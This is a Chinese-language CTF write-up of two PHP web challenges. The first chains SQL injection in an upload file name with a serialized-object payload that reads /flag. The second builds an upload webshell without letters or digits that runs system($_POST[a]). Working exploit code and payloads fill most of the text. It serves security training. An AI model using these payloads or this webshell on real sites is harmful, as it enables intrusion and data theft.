public function upload($input="file")
{
$fileinfo = $this->getfile($input);
$array = array();
$array["title"] = $fileinfo['title'];
$array["filename"] = $fileinfo['filename'];
$array["ext"] = $fileinfo['ext'];
$array["path"] = $fileinfo['path'];
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);
$id = $this->save($array);
if ($id == 0){
die("Something wrong!");
}
echo "<br>";
echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
}

我们可以发现一个序列化的点

1
$array["attr"] = serialize($my_ext);

而且,通过审计helper.php源码,还发现了一个危险的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
	public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}

function __destruct(){
# Read some config html
$this->view_files($this->config);
}
}

通过对上面代码的审计,发现只要我们在销毁对象时,即可使用file_get_contents()函数,来读取信息,所以我们可以构造exp

1
2
3
4
5
6
7
8
9
<?php

class helper{
protected $ifview=true;
protected $config=/flag;
}
$a=new helper();
echo bin2hex(serialize($a));
?>

然后我们寻找反序列化的点,发现在show.php文件中有一个反序列化的点

1
$attr = unserialize($attr_temp);

然后我们在helper.php文件中,从getfile()函数可以指到check()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
public function check($info)
{
$basename = substr(md5(time().uniqid()),9,16);
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){
die("<p>Please upload the correct image file!!!</p>");
}
$title = str_replace(".".$ext,'',$filename);
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
}

知道上传文件中各变量的含义

1
2
3
4
5
$array["title"]:去掉后缀的文件名
$array["filename"]:substr(md5(time().uniqid()),9,16)加上后缀
$array["ext"]:上传文件名后缀
$array["path"]:路径信息
$array["attr"]:反序列化后的图片长宽信息

然后再看回show.php文件的Get_All_Images()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function Get_All_Images(){
$sql = "SELECT * FROM images";
$result = mysqli_query($this->con, $sql);
if ($result->num_rows > 0){
while($row = $result->fetch_assoc()){
if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
}
echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
}
}else{
echo "<p>You have not uploaded an image yet.</p>";
}
mysqli_close($this->con);
}

可知会将上传文件的长宽的序列化信息进行反序列化,这是我们可以利用的点,来输入我们构造的序列化信息,进行变量覆盖,从而利用file_get_contents()读取flag信息,而这里是提取数据库中的信息,所以我们需要找一个sql注入的点,而我们可以看helper.php文件中的save()函数,然后save()函数指向insert_array()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function insert_array($data)
{
$con = mysqli_connect("127.0.0.1","root","root","pic_base");
if (mysqli_connect_errno($con))
{
die("Connect MySQL Fail:".mysqli_connect_error());
}
$sql_fields = array();
$sql_val = array();
foreach($data as $key=>$value){
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
mysqli_query($con, $sql);
$id = mysqli_insert_id($con);
mysqli_close($con);
return $id;
}

可见它会将上传文件的那些变量信息写入数据库中,然后我们访问show.php文件,触发反序列化,从而将我们构造在图片长宽的序列化数据进行反序列化,从而使用file_get_contents()函数来读取flag,从check()函数中,我们发现只可以从title变量下手,所以我们可以先上传一个文件,然后文件名为我们构造的传入数据库的信息,即

1
filename="a','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#"

再访问一下show.php就可以看见flag了

不包含数字和字母的webshell

不包含数字和字母的webshell

打开页面,发现有个文件上传,同时看到有一串代码

1
2
3
4
5
6
7
8
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}

通过对代码的审计,我们可以发现,它对我们上传文件的内容有字符数量的限制和字符的过滤,所以我们可以写个exp来fuzz一下

1
2
3
4
5
with open("shell.txt","w") as f:
for i in range(127):
if i>=32:
f.write(chr(i)+chr(i)+chr(i)+chr(i)+chr(i)+'\n')
f.close()

发现几乎所有的字母和数字都被过滤了,因此我们可以想使用不包含数字和字母的webshell,来传马,因此,我们可以利用UTF-8编码中的某个汉字,然后将其某个某个字符取出来,然后取反的操作,即

1
2
3
4
5
6
7
8
9
<?php
$_=[];
$__=$_.$_;
$___=($_==$__);
$____=($_==$_);
echo ~('区'{1});

echo ~区[$____];
?>

所以我们可以利用这种方式构造上传的马,为了方便,我们的php开头可以使用短标签<?=,因此exp

1
2
3
4
5
6
7
8
<?=                //PHP中的另外一个短标签<?=,代替<?php
$_=[]; //array
$__=$_.$_; //arrayarray
$_=($_==$__); //不成立 false -->0
$__=($_==$_); //成立 true -->1
$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__]; //system
$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__]; //_Post
$___($$____[~瞎[$__]]); //system($_POST[a]);

提交后,我们可以得到文件的路径,然后我们构造payload

1
2
3
4
http://ip/upload/d30c18bfaf06a96a29e316bbb21b7ac9.php

post提交
a=env

env是显示当前系统中已存在的环境,因为我们在系统目录中找不到flag,所以我们可以使用env,看一下flag是否存在

参考文章:[https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html]

[https://blog.csdn.net/qq_46263951/article/details/118816182?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link]